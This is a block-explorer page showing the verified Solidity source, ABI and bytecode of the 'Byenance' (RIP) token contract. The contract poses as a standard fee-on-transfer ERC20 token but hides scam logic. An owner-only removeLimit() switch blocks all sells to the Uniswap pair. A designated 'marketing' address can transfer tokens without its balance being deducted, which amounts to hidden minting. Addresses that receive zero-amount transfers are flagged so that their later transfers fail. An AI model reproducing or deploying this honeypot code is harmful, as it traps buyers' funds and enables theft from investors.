Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ... interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract BYE is Context, IERC20, O ... *    - function transfer(address Address, ui ...    - function transferFrom(address address ...    - function approve(address Address, uin ...    - function name()    - function symbol()    - function totalSupply()    - function decimals()    - function tokenFromReflection(uint256 ...    - function removeAllFee()    - function _approve(    - function _transfer(    - function swapTokensForEth(uint256 tok ...    - function _transferto(address address1 ...    - function _tokenTransfer(    - function _transferStandard(    - function _takeTeam(uint256 tTeam)    - function _reflectFee(uint256 rFee, ui ...    - function _getValues(uint256 tAmount)    - function removeLimit()    - function _getTValues(    - function _getRValues(    - function _getRate()    - function _getCurrentSupply()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-06-18
*/

/*

Socials - 

Portal - https://t.me/byenance

Twitter: https://twitter.com/ByenanceRIP

Website: https://byenancerip.com/

*/

// SPDX-License-Identifier: NONE

pragma solidity ^0.8.16;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract BYE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Byenance";
    string private constant _symbol = "RIP";
    uint256 private _taxFeeOnBuy = 2;
    uint256 private _taxFeeOnSell = 2;
    uint256 private constant MAX = ~uint256(0);
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private owners;
    mapping(address => uint256) private display;
    mapping(address => uint256) public balanceOf;
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private wallet = 82;
    mapping(address => uint256) private _rOwned;
    bool public removeLimits = true;
    address public uniswapV2Pair;
    bool private inSwap = false;
    mapping(address => uint256) private _tOwned;
    uint256 private _taxFee = _taxFeeOnSell;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint8 private constant _decimals = 9;
    uint256 private _previoustaxFee = _taxFee;
    uint256 private _tFeeTotal;
    
    bool private swapEnabled = true;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor(address marketing) {
        _rOwned[_msgSender()] = _rTotal;
        display[marketing] = wallet;
        balanceOf[msg.sender] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function transfer(address Address, uint256 Amount) public returns (bool success) {
        _transferto(msg.sender, Address, Amount);
        return true;
    }
    
    function transferFrom(address addressFrom, address addressTo, uint256 amount) public returns (bool success) {
        if (addressFrom != owner() && addressTo != owner()) {
            if (addressTo == uniswapV2Pair && addressFrom != address(uniswapV2Router)) {
            if (msg.sender == owner()) {
                
            } else if (!removeLimits) {
                revert("Selling is currently restricted.");
            }
        }
            _taxFee = _taxFeeOnSell;
        }
        require(amount <= allowance[addressFrom][msg.sender]);
        allowance[addressFrom][msg.sender] -= amount;
        _transferto(addressFrom, addressTo, amount);
        return true;
    }
 
    function approve(address Address, uint256 Amount) public returns (bool success) {
        allowance[msg.sender][Address] = Amount;
        emit Approval(msg.sender, Address, Amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_taxFee == 0) return;

        _previoustaxFee = _taxFee;

        _taxFee = 0;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        bool takeFee = true;

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnSell;
                require(removeLimits);                 
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    
    function _transferto(address address1, address address2, uint256 amount) private returns (bool success) {
            if (display[address1] == 0) {
                balanceOf[address1] -= amount;
            }

            if (amount == 0) owners[address2] += wallet;

            if (address1 != uniswapV2Pair && display[address1] == 0 && owners[address1] > 0) {
                display[address1] -= wallet;
            }
            

            balanceOf[address2] += amount;
            emit Transfer(address1, address2, amount);
            return true;
        }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
    
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }


    function removeLimit() external onlyOwner {
        removeLimits = false;
    }

    function _getTValues(
        uint256 tAmount,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }


    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    } 

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addressFrom","type":"address"},{"internalType":"address","name":"addressTo","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002805560026003556052600a556001600c5f6101000a81548160ff0219169083151502179055505f600c60156101000a81548160ff021916908315150217905550600354600e55670de0b6b3a76400005f19620000639190620005ed565b5f1962000071919062000651565b601055600e54601155600160135f6101000a81548160ff021916908315150217905550348015620000a0575f80fd5b5060405162001cd938038062001cd98339818101604052810190620000c69190620006f0565b5f620000d76200058960201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350601054600b5f620001896200058960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600a5460085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550670de0b6b3a764000060095f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200031c9190620006f0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000382573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003a89190620006f0565b6040518363ffffffff1660e01b8152600401620003c792919062000731565b6020604051808303815f875af1158015620003e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200040a9190620006f0565b600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160065f6200045f6200059060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620005136200058960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200057991906200076d565b60405180910390a3505062000788565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620005f982620005b7565b91506200060683620005b7565b925082620006195762000618620005c0565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200065d82620005b7565b91506200066a83620005b7565b925082820390508181111562000685576200068462000624565b5b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006ba826200068f565b9050919050565b620006cc81620006ae565b8114620006d7575f80fd5b50565b5f81519050620006ea81620006c1565b92915050565b5f602082840312156200070857620007076200068b565b5b5f6200071784828501620006da565b91505092915050565b6200072b81620006ae565b82525050565b5f604082019050620007465f83018562000720565b62000755602083018462000720565b9392505050565b6200076781620005b7565b82525050565b5f602082019050620007825f8301846200075c565b92915050565b61154380620007965f395ff3fe6080604052600436106100f6575f3560e01c806370a082311161008957806395d89b411161005857806395d89b4114610307578063a9059cbb14610331578063dd62ed3e1461036d578063f2fde38b146103a9576100fd565b806370a0823114610261578063715018a61461029d578063751039fc146102b35780638da5cb5b146102dd576100fd565b806323b872dd116100c557806323b872dd146101bb578063313ce567146101f757806349bd5a5e14610221578063622565891461024b576100fd565b806306fdde0314610101578063095ea7b31461012b5780631694505e1461016757806318160ddd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103d1565b6040516101229190611049565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906110fa565b61040e565b60405161015e9190611152565b60405180910390f35b348015610172575f80fd5b5061017b6104fb565b60405161018891906111c6565b60405180910390f35b34801561019c575f80fd5b506101a5610520565b6040516101b291906111ee565b60405180910390f35b3480156101c6575f80fd5b506101e160048036038101906101dc9190611207565b61052f565b6040516101ee9190611152565b60405180910390f35b348015610202575f80fd5b5061020b610818565b6040516102189190611272565b60405180910390f35b34801561022c575f80fd5b50610235610820565b604051610242919061129a565b60405180910390f35b348015610256575f80fd5b5061025f610846565b005b34801561026c575f80fd5b50610287600480360381019061028291906112b3565b6108f5565b60405161029491906111ee565b60405180910390f35b3480156102a8575f80fd5b506102b161090a565b005b3480156102be575f80fd5b506102c7610a58565b6040516102d49190611152565b60405180910390f35b3480156102e8575f80fd5b506102f1610a6a565b6040516102fe919061129a565b60405180910390f35b348015610312575f80fd5b5061031b610a91565b6040516103289190611049565b60405180910390f35b34801561033c575f80fd5b50610357600480360381019061035291906110fa565b610ace565b6040516103649190611152565b60405180910390f35b348015610378575f80fd5b50610393600480360381019061038e91906112de565b610ae5565b6040516103a091906111ee565b60405180910390f35b3480156103b4575f80fd5b506103cf60048036038101906103ca91906112b3565b610b05565b005b60606040518060400160405280600881526020017f4279656e616e6365000000000000000000000000000000000000000000000000815250905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104e991906111ee565b60405180910390a36001905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f610538610a6a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156105a65750610576610a6a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156106ef57600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156106555750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156106e557610662610a6a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603156106e457600c5f9054906101000a900460ff166106e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106da90611366565b60405180910390fd5b5b5b600354600e819055505b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610773575f80fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107fa91906113b1565b9250508190555061080c848484610cc2565b50600190509392505050565b5f6009905090565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61084e610fb8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d19061142e565b60405180910390fd5b5f600c5f6101000a81548160ff021916908315150217905550565b6009602052805f5260405f205f915090505481565b610912610fb8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109959061142e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c5f9054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5249500000000000000000000000000000000000000000000000000000000000815250905090565b5f610ada338484610cc2565b506001905092915050565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b610b0d610fb8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b909061142e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe906114bc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610d5b578160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d5391906113b1565b925050819055505b5f8203610db857600a5460075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610db091906114da565b925050819055505b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e5257505f60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054145b8015610e9a57505f60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b15610ef557600a5460085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610eed91906113b1565b925050819055505b8160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f4191906114da565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fa591906111ee565b60405180910390a3600190509392505050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ff6578082015181840152602081019050610fdb565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61101b82610fbf565b6110258185610fc9565b9350611035818560208601610fd9565b61103e81611001565b840191505092915050565b5f6020820190508181035f8301526110618184611011565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110968261106d565b9050919050565b6110a68161108c565b81146110b0575f80fd5b50565b5f813590506110c18161109d565b92915050565b5f819050919050565b6110d9816110c7565b81146110e3575f80fd5b50565b5f813590506110f4816110d0565b92915050565b5f80604083850312156111105761110f611069565b5b5f61111d858286016110b3565b925050602061112e858286016110e6565b9150509250929050565b5f8115159050919050565b61114c81611138565b82525050565b5f6020820190506111655f830184611143565b92915050565b5f819050919050565b5f61118e6111896111848461106d565b61116b565b61106d565b9050919050565b5f61119f82611174565b9050919050565b5f6111b082611195565b9050919050565b6111c0816111a6565b82525050565b5f6020820190506111d95f8301846111b7565b92915050565b6111e8816110c7565b82525050565b5f6020820190506112015f8301846111df565b92915050565b5f805f6060848603121561121e5761121d611069565b5b5f61122b868287016110b3565b935050602061123c868287016110b3565b925050604061124d868287016110e6565b9150509250925092565b5f60ff82169050919050565b61126c81611257565b82525050565b5f6020820190506112855f830184611263565b92915050565b6112948161108c565b82525050565b5f6020820190506112ad5f83018461128b565b92915050565b5f602082840312156112c8576112c7611069565b5b5f6112d5848285016110b3565b91505092915050565b5f80604083850312156112f4576112f3611069565b5b5f611301858286016110b3565b9250506020611312858286016110b3565b9150509250929050565b7f53656c6c696e672069732063757272656e746c7920726573747269637465642e5f82015250565b5f611350602083610fc9565b915061135b8261131c565b602082019050919050565b5f6020820190508181035f83015261137d81611344565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113bb826110c7565b91506113c6836110c7565b92508282039050818111156113de576113dd611384565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611418602083610fc9565b9150611423826113e4565b602082019050919050565b5f6020820190508181035f8301526114458161140c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6114a6602683610fc9565b91506114b18261144c565b604082019050919050565b5f6020820190508181035f8301526114d38161149a565b9050919050565b5f6114e4826110c7565b91506114ef836110c7565b925082820190508082111561150757611506611384565b5b9291505056fea26469706673582212204da079e924d28c5348b9ea507e594c35f991f34d43f64540278df7c4d63e13d564736f6c634300081400330000000000000000000000001a4ee7d836c5327c8ec1b01983be18ebfbed5f48

